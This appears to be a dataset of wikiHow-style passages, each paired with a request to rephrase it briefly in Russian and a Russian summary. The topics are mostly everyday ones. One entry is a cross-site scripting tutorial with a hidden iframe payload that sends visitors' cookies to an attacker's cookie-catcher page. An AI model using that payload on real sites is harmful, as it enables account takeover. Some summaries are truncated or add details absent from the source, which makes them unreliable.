A low WBC count can result from a wide variety of medical conditions. You doctor will have to administer tests in order to better understand your situation if the cause isn't obvious, such as a viral infection, autoimmune disease, HIV/AIDS, cancer or cancer treatment, or a prescription medication. Understanding why your WBC count is low will help you and your doctor come up with specific solutions. There are several medications available that stimulate WBC production. All medications have benefits and risks, so be sure to ask your doctor about potential side effects.  Ask your doctor, “Are there prescription medications that would be beneficial for my situation? What are my options with the lowest associated risks? Should I try dietary changes or natural remedies before taking medication?” Risks and side effects of medications that stimulate WBC production can include allergic reactions, low fever, bone pain, discomfort at the injection site, weakness, diarrhea, and flu-like symptoms. A registered dietitian will help you create a meal plan customized for your specific needs. If you're undergoing chemotherapy or other treatment for a chronic medical condition, talk to your treatment center about seeing their dietitian. You can also ask your primary doctor or specialist caregiver for a referral.  Your personalized meal plan might include modifications to your daily recommended nutrients, like adding more protein than normally recommended to your diet. Your dietitian can also help you with recipes, safe food handling, and consult about adding supplements. Tell your dietitian about your eating habits and any difficulty you have maintaining proper nutrition, such as loss of appetite, nausea or vomiting, and diarrhea. They can recommend foods and supplements that can help you get the nutrients your body needs to produce blood cells. Acupuncture has been shown to increase WBC production and promote bone marrow repair during chemotherapy. Sauna bathing also stimulates the immune system, particularly in athletes. Talk...

How would you rephrase that briefly using Russian?

Обсудите причину низкого уровня лейкоцитов в крови с вашим врачом. Спросите, рекомендуют ли они вам лекарства. Проконсультируйтесь с врачом-диетологом. Обсудите с врачом и специалистом средства народной медицины.


A major part of good grades is the ability to manage your time wisely. Work on maintaining a regular schedule and sticking to it throughout the semester. You should also plan ahead and stay aware of when big papers and tests are coming up. Write down important dates in your calendar and keep a daily planner.  Decide when to study, do homework, socialize, and so on. Have a daily routine you follow that works with your class schedule. Stick to general rules that work for you. For example, maybe you need a couple of weeks to write a solid paper. Make sure to always start papers a week before they're due. Professors have office hours in which you can come in and ask questions. Always take advantage of the time your professors are offering. Office hours are an invaluable way to gain a higher understanding of course material, and build solid rapport with your professors.  Do not just come into office hours when you're struggling. Stop in just for a refresher when necessary. You can also have a professor look over a draft of your paper or go over the reading with you. Your reputation can help sway your grades. If your professor is, say, deciding between a B+ and an A, they're more likely to grant an A to a student who seemed like they were consistently trying. You want to surround yourself with inspiring people. In class, try to identify the most successful students. Try to plan study parties and review sessions with these students. Your grades will improve as good habits rub off on you.  Try to form a regular study session. Meet once a week with the top students in your class. Make sure to keep study sessions directed, however. Study sessions can sometimes dissolve into socializing, which will not help you bring up your grades. Everyone misses class once in awhile. An illness or emergency can occasionally prevent you from making it to a lecture. However, never allow missing class to become a regular thing. Unless it's absolutely impossible, attend all your classes all the time. In college, classes may only meet...

How would you rephrase that briefly using Russian?

Придерживайтесь графика. Изучите график приема студентов. Обращайтесь к студентам-отличникам. Посещайте все занятия. Улучшайте свои навыки выполнения заданий.


A man isn't always comfortable being judge, jury, and executioner, but he knows right from wrong and expects others to play by the same rules. Look inside yourself and ask: would I want someone else doing that to me? This should help you develop principles to live by.  A man never steals, even if he is desperate. A desperate man learns to ask others to help him instead of helping himself to something he is not entitled to. A man helps others in need. He knows when others are down on their luck and need a helping hand, even if the utility lies in the gesture itself. A man trusts his friends, significant others, and family. He follows through with what he says he'll do and expects others to do the same. A man never lies — to himself or others. He develops a conscience that gives him good feedback and allows him to be comfortable with the truth, even if it hurts. Men are naturally ambitious. We want to be breadwinners and have the admiration and respect of our peers. Not all men choose the same career paths, however, so ambition doesn't always amount to the same thing. Whatever career or profession you choose (you may have many), set goals for yourself, live up to or exceed them, and reinvent yourself whenever you need to. Define your own idea of success. The main difference between a man and a boy, and adult and a child, is that men are responsible. Men honor their commitments, accept their duties and are accountable for their actions.  Men clean up after themselves (figuratively and literally).  Men know that anyone can father a baby, but only a man who understands and accepts responsibility can be a good father. Men refuse to make anyone do anything they themselves are unwilling to do. As a result, they appreciate the difficulty and risk other people take on their behalf. Making sacrifices is part of growing up, whether you like it or not. The difference between a man and a boy is that a man steps up to the plate, while a boy hesitates or complains. Especially for the people in his life that he loves, a man...

How would you rephrase that briefly using Russian?

Подумайте о своих принципах. Будьте амбициозны. Будьте готовы взять на себя ответственность и несите ответственность за свои решения. Научитесь идти на жертвы ради людей, которых вы любите. Будьте хорошим человеком.


A manual camera is preferable to a digital one as you will have greater control over the exposure, making you more likely to catch a snap of the ghost. The ghost may appear as a blur or streak of light in the developed photograph. In addition, paranormal activity tends to interfere with the operation of electrical equipment, making a digital camera unreliable. A camcorder can also be used to catch a glimpse of any unusual shapes or activity at your chosen ghost-catching location.  Make sure to start recording at the beginning of the session and leave the camcorder running until the end. It will be easier if you set the camcorder on a tripod for the duration of the session. If your camera has a night-vision feature make sure to turn it on, as this will make spotting a ghost that much easier. Sometimes a tape recorder will pick up on sounds that you wouldn't normally be able to hear. These sounds will only reveal themselves when you play the tape back. Keep in mind that you may have to slow down or speed up the playback or use headphones in order to make sense of what you're hearing. An EMF (electromagnetic field) detector measures changes or disruptions to surrounding electrical fields, which may indicate the presence of a ghost.  Good EMF detectors can pick up on disturbances across a wide range of frequencies. EMF detectors can be purchased online, for anywhere between $20 and several hundred dollars. Other specialist equipment that may benefit the serious ghost-hunter includes:  An infrared thermal scanner, which is used to detect hot or cold spots caused by energy-sucking ghosts. An air ion counter, which measures the number of positive and negative ions in the air. Ghosts are believed to emit a high quantity of positive ions. However, these items are expensive and will require a certain amount of specialist knowledge in order to interpret the results. In recent years, many ghost hunting phone apps have become available, which claim to do the work of expensive, specialist ghost-hunting equipment.  The more...

How would you rephrase that briefly using Russian?

Воспользуйтесь ручной камерой. Пользуйтесь видеокамерой. Используйте магнитофон. Используйте детектор ЭМП. Используйте другое специализированное оборудование. Скачайте приложение для охоты за привидениями. Обращайте внимание на любые паранормальные явления.


A mark of a good leader is knowing how to receive criticism without getting angry about it. When a supervisor gives you feedback, respond positively by thanking them and then implementing their suggestions. This demonstrates humility and willingness to learn.  Keep a positive attitude when receiving feedback. Your morale reflects on your team. Avoid anger, over-reaction, and indecision. These create lack of confidence in a leader that make followers question their decisions. When someone tells you how you could be less aggressive with your athletes when coaching a sports team, don't get upset. Smile and thank the critic. Although as a leader you often direct others in their tasks, doing your fair share is important. If you aren’t willing to do the grunt work that you assign, your subordinates won’t be willing to do it either. How much work you are willing to do is important in leading by example and proving that you have leadership qualities.  For example, you may have “cleaning the bathrooms” on your list of team tasks. Place yourself in the rotation of people assigned to clean them. If you're coaching a sports team, go out and demonstrate the play that you're describing. Show confidence and don't be afraid to be yourself. Lead from the front, not from behind. Leaders who are confident are usually noticed by those in authority. In other words, don’t change your personality to fit a leadership role; make the role fit your personality.  Look for challenges to take on. Managing small projects shows you have leadership qualities, especially when you are successful.  Try doing a few things to be more confident. For example, give yourself a pep talk in the mirror before work each morning. Proving you have leadership qualities means you must prove you are also honest. Leaders must show and inspire humility, transparency, and truthfulness through their actions. Lead by example by freely admitting your mistakes and shortcomings.  For example, if you send an email to the wrong person, immediately send a follow-up...

How would you rephrase that briefly using Russian?

Сохраняйте спокойствие. Выполняйте свою часть задачи. Подкрепляйте слова делами. Учитесь признавать ошибки. Приспосабливайтесь.


A mattress that is medium-firm will allow your spine to settle into a neutral position as you sleep. If you have a ruptured disc, you might want to stay away from an extra firm mattress. An extra firm mattress can be too firm, causing additional pressure on your spine. Avoid pillow top mattresses and materials like memory foam, which tend to be too soft for those suffering from a herniated disc. For many people suffering from a ruptured disc, lying down is a painful experience. If you find lying flat to be too painful, consider sleeping in an adjustable bed. An adjustable bed can be adjusted to prop you up, possibly alleviating pressure and pain on your spine. If you have trouble adjusting to an adjustable bed, try sleeping in the adjustable bed for at least a few hours each night. Increase the amount of hours spent in the adjustable bed as you become more comfortable with it. A chair that reclines can be a good place to sleep if you are suffering from a ruptured, or herniated, disc. Since a reclining chair props you up, it can help relieve some of the pressure on your lower spine. If you find other sleeping positions uncomfortable, try a chair that reclines. If you still want to sleep in the same room as your spouse or partner, try moving a reclining chair into the bedroom. A pillow that is designed to support your neck, also known as a pillow with cervical support, allows your neck to rest in a neutral position. This helps mitigate spinal stress in other areas, like your back. If you sleep on your side, consider sleeping with a pillow between your knees. This can add comfort and relieve some pressure from your spine. Try using a small pillow made of memory foam, which will shape itself to the contours of your body.

How would you rephrase that briefly using Russian?

Спите на жестком матрасе, чтобы он поддерживал ваш позвоночник. Подумайте об использовании регулируемой кровати, чтобы снизить нагрузку на позвоночник. Попробуйте спать в откидном кресле. Используйте подушку с шейной поддержкой, чтобы шея сохраняла нейтральное положение. Кладите подушку между ног, чтобы облегчить нагрузку на позвоночник.


A mechanic will be able to open your hood to inspect the hood release cables underneath the hood. To fix the issue, the mechanic may just need to clean and re-grease the cables. If one or both of the cables are broken, the mechanic will need to replace the broken cables.

How would you rephrase that briefly using Russian?

Отправляйтесь к механику, который знаком с устройством автомобилей Mini Cooper.


A memory board is a great place to display concert bracelets, ticket stubs and photos. Use a large piece of fabric from your old clothes to cover the front and sides of a normal office corkboard. Secure the fabric in place with fabric glue around the perimeter on the backside. You can add mementos and rearrange your board by attaching items with pushpins. You can create a teddy bear for child out of old clothes. This can be particularly poignant if you use baby clothes or another cherished garment from the child’s early years. Use an online template for a polished look. You can even stuff the bear with fabric scraps of other old clothes.  You can use buttons from old garments to sew eyes and a nose onto your keepsake bear. If a bear feels too ambitious, old socks actually make great dresses for dolls. Cut off the tube portion of a tall sock. (Frilly or patterned socks work best.) Then thread a ribbon through each corner of the top to create straps. Children may be able to tackle this project with supervision. . Use an online pattern to turn your old duds into a quilt. You can incorporate many different pieces of clothes into your design to create an item full of happy memories. If you’re not particularly crafty but would still enjoy a quilt, there are many websites that will create a patchwork quilt out of your old clothes for you, such as Project Repeat or retailers on Etsy. You simply send your old clothes to them. You can use a piece of cardboard, fabric glue and an old garment to create a completely custom picture frame. This works particularly well if you have a photo of unusual size, as you can tailor-make the frame to suit a particular piece of artwork. You can also cover a tired, old picture frame in fabric for double the repurposing power. After you’ve made your keepsake, your old clothes can do double-duty by turning into gift wrap. Cut the fabric from a garment into a large circle or square (a bigger item like a dress or skirt works best) then place your gift in the middle. Wrap the fabric around...

How would you rephrase that briefly using Russian?

Создайте декоративную доску для памятных предметов. Сшейте игрушки. Сшейте лоскутное одеяло Сделайте фоторамку. Изготовьте упаковку для подарка.


A mental health professional will be able to give you additional tools to cope with the difficulties of overcoming the addiction. If you decide to go see a therapist, you will not be judged or scolded for having a problem. As a matter of fact, the more honest you are about the details of your problem, the more your therapist will be able to help you. A major benefit of therapy is that you will get a chance to deal with pain from your past that may be contributing to the root cause of your addiction. Asking for help can be embarrassing, especially because of the nature of the addiction. But, asking for help really shows that you have the strength and capability of spotting and solving problems in your life. If you want to avoid describing the details of why you need help, ask to be referred to a therapist by saying something vague, like "I haven't been feeling like myself lately" or "I feel disconnected from everyone". If you do not feel comfortable asking your parents, try asking your school counselor or another trusted adult. In some cases, an addiction to pornography can be the result of a hormone imbalance that ramps up your sex drive. If you feel like your compulsion to use is totally unaffected by all the steps you have taken to recover, you could have an underlying problem that a doctor can help you diagnose. Many other teens deal with porn addictions, and joining a support group will help you realize that you are not alone. This is especially important since the secrecy involved in porn addiction is one of the elements that keep the problem going strong. A group will help you be accountable for your goals and have a place to share stories, successes, and detailed coping tips. Try a local 12-step group for overcoming addictions; Sex Addicts Anonymous and Sex and Love Addicts Anonymous are both groups that welcome people with pornography addictions. There are also many online groups you can join if you are unable to attend in-person meetings. It's understandable to be disappointed if you relapse into...

How would you rephrase that briefly using Russian?

Подумайте о том. Обратитесь за помощью к членам семьи. Спросите у врача или психолога, может ли зависимость указывать на проблемы с общим состоянием здоровья. Посещайте встречи групп поддержки для подростков. Спокойно относитесь к рецидивам.


A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

How would you rephrase that briefly using Russian?

Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.


A message on the screen will tell you which button to press to begin. A marker will appear on your mini-map showing the location of your target. Chase down the target within the time limit.  If successful, you’ll be rewarded with money and another target will appear on the map. There are 12 Vigilante missions. You’ll fail if you don’t catch the target within the time limit or spend more than a minute outside of a police vehicle.

How would you rephrase that briefly using Russian?

Найдите полицейскую машину или фургон спецназа (SWAT) и залезьте внутрь. Начните миссию “Vigilante”. Преследуйте цель.


A minor scale has a lot in common with a major scale. Like a major scale, it's also named for its root note (e.g., E minor, A minor, etc.) Most of the notes are even the same. There are just a few changes you need to make: The minor scale has flat 3rd, 6th, and 7th degrees. Having a flat 3rd, 6th, and 7th in a minor scale changes the step pattern from the major scale. Memorizing the new pattern can be handy as you get familiar with minors.  The step pattern for a minor scale, starting from the root, is: whole step, half step, whole step, whole step, half step, whole step, whole step. For example, to make a G minor scale, start with a G major scale and move the 3rd, 6th, and 7th degrees down a half step each. A G major scale is: G, A, B, C, D, E, F#, G; so a G minor scale is: G, A, Bb, C, D, Eb, F, G. Just like with majors, the notes in minor scales are played with a certain pattern of frets, which you can slide up and down the neck to play different minors. As long as you're starting on the low E or A string, the minor pattern is the same. For example, to play an Eb minor scale, take an Eb minor scale and slide the 3rd, 6th, and 7th degrees down one fret, like this:  A string: Eb (fret 6), F (fret 8), F# (fret 9) D string: Ab (fret 6), Bb (fret 8), B (fret 9) G string: Db (fret 6), Eb (fret 8) Just like with major scales, it's most common for minors to be played going up, then back down again. Again, you're just playing the same sequence of notes in reverse order with no changes.  For example, to play an Eb minor scale up and down, play Eb, F, F#, Ab, Bb, B, Db, Eb going up and Eb, Db, B, Bb, Ab, F#, F, Eb going down. Like with major scales, you can add the ninth (the F above the octave in this case) or play the octave twice to get the beats to line up with a 4/4 beat.

How would you rephrase that briefly using Russian?

Запомните разницу между минорной мажорной гаммой. Разучите ступенчатую схему для минорной гаммы. Выучите аппликатуру для минорных гамм. Тренируйтесь играть гамму вверх и вниз.


A mint plant needs plenty of space to grow. A mint plant thrives in well-drained soil. Purchase a saucer to place below the pot to avoid staining your windowsill or patio. You can submerge the whole 12-inch pot in a larger pot, next to other herbs. Keep in mind that many species of mint will still find a way to take over the entire pot through the holes in the bottom of the mint pot. If you want to plant it with other herbs, you will want to separate the herbs later in the season.

How would you rephrase that briefly using Russian?

Приобретите горшок по меньшей мере 30 см в диаметре. Выберите горшок с дренажными отверстиями на дне. Приобретите дополнительный, гораздо больший горшок, если хотите посадить мяту и другие травы вместе.


A missed period is usually the first sign of pregnancy. You should track your menstrual cycle to know roughly when to expect your monthly period. If you do not experience your period within this time frame, this can be an early sign you're pregnant. About a quarter of pregnant women experience nausea as the first sign of pregnancy. You may feel sick to your stomach at certain times of the day. Strange smells may easily trigger feelings of nausea and sickness. Implantation bleeding sometimes occurs just after pregnancy, possibly due to a sperm attaching to an egg. Some women may mistake this for a very light period, but it can be a sign of pregnancy if you are also experiencing other symptoms.  Implantation bleeding or spotting is much lighter than your regular period. You may only notice it when you wipe. The color also may differ from a regular period. It may be more pink or brown-colored than usual. Pregnancy can cause unexpected physical discomfort. Usually, this takes the form of mild uterine cramping as well as tender, sore breasts. Like many symptoms of pregnancy, these are often similar to pains you may experience just before your period. During pregnancy, your kidneys produce extra fluid due to increased levels of blood in your body. Many women notice increased urination during pregnancy. If you find yourself using the bathroom more often, this could be an early sign that you are pregnant. Just after you become pregnant, it's normal for your body to produce up to 25% more urine. The increase in urine will peak at 10-15 weeks of pregnancy. After that, you'll likely feel increased urges to urinate, as the additional weight of your uterus and growing baby press down on your bladder. Breast tissue is very sensitive to your hormones, so your breasts will show signs of pregnancy early. You may start to experience tender, swollen breasts as early as 2 weeks after conception. It's normal to feel a tingly sensation and soreness. Your breasts may also start to fill full and heavy.

How would you rephrase that briefly using Russian?

Следите за своим менструальным циклом. Обратите внимание на непривычное чувство тошноты. Небольшие кровянистые выделения. Обратите внимание не непривычные боли. Обратите внимание на частоту мочеиспускания. Обратите внимание на болезненность груди.


A mixed number will contain a whole number and a fraction. The whole number should be positive, negative, or zero because it's an integer. For example, in the mixed number 1 3/4, 1 is the integer. Look at the fraction and find the number above the dividing line. This number is the numerator and it will tell you how many parts there are of the fraction. In the example 1 3/4, 3 is the numerator. Identify the number below the dividing line to find the denominator. This tells you how many parts it takes to make the whole number. For example, 4 is the denominator in the mixed fraction 1 3/4.

How would you rephrase that briefly using Russian?

Посмотрите на целое число. Найдите числитель. Найдите знаменатель.


A mole (also called congenital nevi) is a pigmented birthmark (caused by an overgrowth of the melanin-producing cells) on the skin that generally appears during childhood. The typical characteristics of moles include:  Tan, brown, red, pink, blue or black color. Smooth, flat, wrinkled or raised texture. Oval to round shape. Typically less than 1/4 inch in diameter but sometimes moles can be bigger. Sometimes moles have hair growing on them. Most moles are harmless but in rare cases they can become cancerous. Monitor your moles and contact your doctor if their appearance changes. These pigmented birthmarks are sometimes caused by a genetic disorder called neurofibromatosis. This condition is divided into three distinct types; the mildest form (neurofibromatosis 1) appears in childhood and is characterized by flat, light brown-colored birthmarks on the skin:  Café au lait spots can be present at birth or appear during childhood and then stabilize. They can be treated with lasers but often return.  In addition to birthmarks, neurofibromatosis 1 may be characterized by freckling in the armpit, soft bumps on or under the skin (neurofibromas or benign tumors), tiny, harmless bumps on the eye (called Lisch nodules), and/or  bone deformities. The two other types (neurofibromatosis 2 and 3) are much less common than the first type and are characterized by more serious symptoms and tumors. If you suspect your child has neurofibromatosis, consult the pediatrician. Neurofibromatosis can't be cured, but your child’s pediatrician will monitor the complications and treat the symptoms. These are pigmentation birthmarks in children that commonly disappear when the child reaches school age. Typical characteristics of Mongolian spots include:  Blue or blue-gray-colored spots on the buttocks, back, spine, shoulders, or other areas. Flat and irregular shape. The skin texture is normal. Typical size is between 2 and 8 centimeters wide. Because these marks disappear on their own, no treatment is recommended. Also known as salmon...

How would you rephrase that briefly using Russian?

Определите, является ли ваше родимое пятно врожденным. Посмотрите, является ли ваша родинка пигментным пятном. Проверьте, нет ли у вас монгольских пятен. Проверьте, нет ли у вас макулярных пятен. Посмотрите, нет ли у вас винного невуса. Определите, нет ли у вас или вашего ребенка гемангиомы.


A money market account, sometimes called a high-yield savings account, generally provides a higher rate of return than a traditional savings account while also requiring a higher minimum fund balance.  This account invests in government or company securities and pays interest rates from those investments. It is a completely different account from a money market fund, which is offered by stockbrokers.  Like other savings accounts, money market accounts with U.S. banks are FDIC insured, and thus also subject to the six withdrawals restriction. Unlike traditional savings accounts, money market accounts often offer a limited check writing capability. Call the bank or read on your bank's website how many times you can withdraw money in a month.  These accounts will follow the federal limit of withdrawals, and they will penalize you if your withdrawal takes your account below the minimum account balance. These may still be seen as withdrawals, even though they do not go directly to a third party site. Money market accounts regularly supply their customers with checks, placing them somewhere between savings accounts without check-writing ability and checking accounts with unlimited check-writing. They may allow up to 3 checks to be written from the account each month.

How would you rephrase that briefly using Russian?

Знайте все о вашем счете денежного рынка. Отслеживайте свои ежемесячные снятия и знайте правила и ограничения вашего банка. Вы можете перевести необходимую сумму денег на текущий чековый счет через интернет или лично. Вы можете выписывать чеки.


A mosquito bite is essentially a pocket of acute inflammation. Not unlike a swollen knee, this inflammation can be treated by applying ice. The application of ice to a mosquito bite will also cause numbing, further reducing your desire to scratch. Apply ice for up to 20 minutes at a time.  Fill a plastic bag with ice, use a reusable ice pack, or use a bag of frozen berries or peas. Whatever you choose, wrap it with a towel. Don't expose your bare skin to the frozen material. Mix a tablespoon of baking soda with a tablespoon of water to make a paste. Apply this paste to any mosquito bite. The baking soda will sooth your skin, calming the itch, and soon you won’t even want to scratch.  If you do not have baking soda, a similar paste can be made from crushed antacid (like Tums) and water. Apply this paste as often as is needed. Another approach is to apply honey to a mosquito bite. Honey (especially honey local to your area) works like a natural antihistamine. Simply rub a small (dime-sized) dollop of the sweet stuff  into any mosquito bites on your body. The best honey to use will be local to your area and raw. Be sparing with your application of honey! It is sticky and can pick up unwanted dirt. The antiseptic properties of tea tree oil (or melaleuca oil) are great for treating a variety of skin conditions, including mosquito bites. Place a little tea tree essential oil onto a cotton swab and apply it to the affected area. Lavender and peppermint oils are excellent choices as well.  If you have very sensitive skin, you can mix a few drop of essential oil with coconut oil, and then apply. This will dilute the oil just enough to make it gentle to your skin. Make yourself a nice cup of tea and retain your tea bag. Then press the warm tea bag into your mosquito bite. The natural tannins in tea have an astringent property, which can draw toxins out of the skin and lessen your discomfort.  The best choice is pure black tea. You can reuse the same tea bag a few times before it loses its potency.

How would you rephrase that briefly using Russian?

Приложите к месту укуса лед. Приготовьте пасту из соды. Используйте немного меда. Используйте масло чайного дерева. Используйте чайные пакетики.


A mosquito swatter, usually made of a thicker metal or plastic than a regular fly swatter, is mounted on the end of a springy wire. This dramatically increases your chances of hitting a stationary mosquito by increasing the momentum of the swat.  Any item that will make your arm longer, and therefore your swing faster, will suffice if you don't have a swatter. Try a rolled up magazine or newspaper. No swatter handy? Kill the flying mosquito with a double-handed clap. Using two hands is more effective than one, as the air coming from each hand will blow the mosquito into the opposing palm. Keeping mosquitoes away from your body is the best way to avoid getting bitten. Use insect repellent on uncovered skin surfaces and on your clothing when you're outdoors, especially during the day. When using sunscreen, apply it before insect repellent.  Repellents containing 30% to 50% DEET (N,N-diethyl-m-toluamide) are the most popular type of repellents, and are recommended for adults and children over 2 months of age and are effective for several hours. Repellents with lower amounts of DEET offer shorter-term protection and must be applied more often. Repellents containing up to 15% picaridin, which must be applied often, are available in the US. Picaridin is odorless, has a pleasant feel, and doesn't plasticize like DEET. Studies have shown it to be as fully repellent to mosquitoes as DEET and can also be applied on infants as young as 2 months. Protect infants less than 2 months of age by using a carrier draped with mosquito netting with an elastic edge for a tight fit rather using a repellent. The safety of using chemical deterrents manufactured by combining synthetic chemicals in the laboratory has been questioned, and there are many natural solutions you can use instead. Citronella oil, cinnamon oil and castor oil are reputed to keep mosquitoes away. Most natural repellents require more frequent application or use than the chemical versions.  Oil of lemon eucalyptus is sold as a product called Repel®. Repel is a 40%...

How would you rephrase that briefly using Russian?

Убивайте их хлопушкой. Наносите химическое средство от комаров. Используйте средство на основе масла. Носите свободную одежду, закрывающую все тело. Защищайтесь ночью с помощью москитной сетки. Защитите свой дом от насекомых. Оставайтесь в помещении, когда комары обычно предпочитают улицу.


A multimeter tests the electrical wiring in your vehicle. The multimeter has a few settings, but you only need to set it to Volts for this test. The multimeter has black (negative) and red (positive) leads with metal clamps that connect to the wiring in your engine. It’s recommended that you use a digital multimeter for this test. A digital multimeter will display only the test results. An analog multimeter will be harder to read because every possible result on its range is printed at the top. A large “V” denotes the voltage setting. The range for the volts is located between two bold lines. Consult your owner’s manual to find the exact location of the valve as it varies depending on the make and model of your vehicle. Once you have located the valve, look for an electrical connector on top of it. This connector will have the circuits you need to test. Each circuit on the EGR is labeled from "A" to "E." The easiest and closest ground is the negative post on the vehicle’s battery. If the results on the multimeter show a reading above .9 Volts, then something (most likely carbon) is blocking the EGR valve. If the multimeter shows little or no voltage, then the EGR valve is most likely faulty. If the reading is between .6 and .9 Volts, then this means the EGR valve is working properly.

How would you rephrase that briefly using Russian?

Проверьте клапан РОГ с помощью мультиметра. Установите мультиметр в режим вольтметра. Найдите клапан РОГ. Зажмите датчик мультиметра, ведущий к цепи "С". Зажмите отрицательный провод мультиметра в двигателе на "земле". Посмотрите на показания.


A natural antibacterial and antimicrobial agent, honey works to clear clogged pores and lift off excess oil and dead skin. Coat your whole face in honey and leave it for as long as you can before rinsing off. Additionally, dab honey directly on your pimples and cover with a bandage while you sleep overnight. Use warm water to remove honey. If any sticks, use your face cleanser to remove it. Egg whites help reduce redness and tighten the skin, which can help reduce pimples. Separate the egg whites from the yolks, and then beat them until they are foamy. Spread the egg whites over the acne. Leave on for 15 minutes, and then rinse off the mask with warm water.  You can also add some fresh lemon juice to the egg white mask. Be aware that egg whites are uncooked food so there is a risk of foodborne illness. Make sure not to get it in your mouth. Aloe reduces inflammation, helps remove oil, and cools your skin. This can help alleviate some of your acne. Get an aloe leaf and cut off a small section. Dig out the inside of the leaf. Crush it until it is a smooth paste. Spread the aloe gel paste onto your acne. If you are buying aloe vera gel, only use the natural, pure kind. This can be found at natural stores. The stuff you buy in superstores shouldn't be used on your face. Baking soda can help reduce inflammation and loosen oil and dirt that causes pimples. To make a baking soda paste, take around two tablespoons (30 g) of baking soda and add warm water to it. Add just enough water so that the baking soda becomes a firm paste. Apply to a wet face and leave on for 15 to 30 minutes. Rinse away with warm water. The paste should be thick enough to stick on your face and not drip off. Aspirin is an anti-inflammatory, so placing a mask of it on your face can help heal your pimple. Mix one part aspirin to three parts water. The aspirin will dissolve in the water, so you don't have to crush it. After it thickens, apply it over the acne. Leave on for at least 30 minutes, or until it begins to harden.  Remove with a wet...

How would you rephrase that briefly using Russian?

Сделайте медовую маску. Сделайте маску из яичного белка. Используйте алоэ вера. Сделайте пасту из пищевой соды. Сделайте маску из аспирина.


A new window will open, allowing you to name your playlist and give it a description. By default, your playlist will be named after the date. Click the Create Playlist button when finished. If you are an All-Access subscriber, you can add any music from the Google Music library. If you are not an All-Access subscriber, you can add any music that you’ve purchased or uploaded to your personal library.  Click and drag the music to you want to add to your playlist in the left navigation menu. Click and drag the songs in your playlist to reorganize them to the order that you want. You can also combine playlists by clicking the menu button that appears when you hover over a playlist’s name, and then selecting “Add playlist to playlist”. Select the playlist that you want, and then click the “Shuffle playlist” button at the top of the list of songs. Your playlist will begin playing automatically, and will be shuffled.

How would you rephrase that briefly using Russian?

Нажмите иконку «+» рядом с Плейлистами. Просмотрите музыку, которую хотите добавить. Организуйте свой плейлист. Перемешайте свой плейлист.


A nice warm bath can help you feel relaxed and can calm down your mind and give you some time to think. You may be so busy talking to all of your friends, texting people, and memorizing your schedule to really slow down, and some time in the bathtub will make it impossible for you to do too much at once. Put your cell phone away, throw some bubbles in the bath, and spend some time with your eyes closed feeling like you don’t have a care in the world.  Some scented bath bubbles or bath bombs can really help you feel refreshed and relaxed. Try humming to yourself as you soak up the suds. That can also help you let out some tension! Though it may seem next to impossible, tell yourself you won’t think about the first day of school after a certain hour. Say that after 8 pm or so, you won’t talk to your friends about it, you won’t talk to your family members about it, and you won’t go online and chat about it. This will help you stop obsessing over it and will make your mind turn to other things. Of course, it can be next to impossible to stop thinking about something right away, but if you make a goal of it and even tell other people about it or write it down, it’s much more likely to happen. Meditation can also get you in a calm frame of mind and can make you feel more at peace and less excited. Just find a quiet room, get a comfortable seat, and focus on relaxing your body one part at a time. Focus on the breath rising in and out of your body and try to avoid thinking about anything at all other than calming down. Just doing this for 10 minutes a day can help you feel more relaxed and may help you fall asleep more easily. You can even practice concentrating on your breath rising in and out of your body after you get to bed. Counting your breaths can be even more effective than counting sheep. Another way to unwind before bed is by playing a simple, non-electronic game that can soothe your mind a bit. It should be something you play by yourself, which can help take your mind off the fact that school is starting...

How would you rephrase that briefly using Russian?

Примите расслабляющую ванну. Старайтесь не думать о завтрашнем дне после определенного времени. Медитируйте. Играйте в успокаивающие игры. Подкрепитесь полезным ужином за несколько часов до сна. Почитайте.


A no-brainer, huh? Freestyle rapping is not a topic you approach on a Wednesday afternoon after a round of Zelda with your friends. It has to be something you've invested time into. Listen to plenty of hip hop and bust out that rhyming dictionary -- you don't want to get schooled, do you?  Listen for rhythms. You can find them anywhere and everywhere. Take a ticking clock or a cappuccino machine. Hear that downbeat? Now put words to it. The clock is ticking / my mind is on the chicken / that's because it's so freakin' finger lickin' / good. Maybe you can do better. Start writing. Though freestyle and rehearsed rapping are two very different skills, they share the same core abilities. If you can't rhyme, you can't do either. If you can't handle pressure, you can't do either. If you can't open your mind, you can't do either. Writing will home in on those core skills you need to build into freestyling. The only way you'll improve your skills in the battle arena is if you build up your prowess beforehand. While you're fixing your hair in the mirror, rap battle your reflection. While you're jamming out to your favorite song, think of how you'd add to it. Could you make it better? Constantly stay in the zone.  Start simple. Think Dr. Seuss simple. It may seem unnecessary, but it'll prime your brain for the real deal. Once you master that, start constantly thinking of rhymes. “I’m colder than a Dairy Queen Blizzard.” What's next? That's right. This is Lord of the Rings; you're the hobbit, I'm the wizard.   Just go with it. Whatever you do, just go with it. I'm sittin' at Panera / man I hate this era / of technology, hypocrisy / but man I dig this smoothie. You're going to make mistakes. You're going to have things come out of your mouth that you really just wish would've stayed in there. Don't let it show. Never let them know you regret what you said. Go with the flow. Let it come to you like inspiration in the night. Writing is a great aid in learning how to go on autopilot. Once you stop trying to make sense,...

How would you rephrase that briefly using Russian?

Попробуй начать «фристайлить». Читай, читай и еще раз читай. Не зацикливайся.


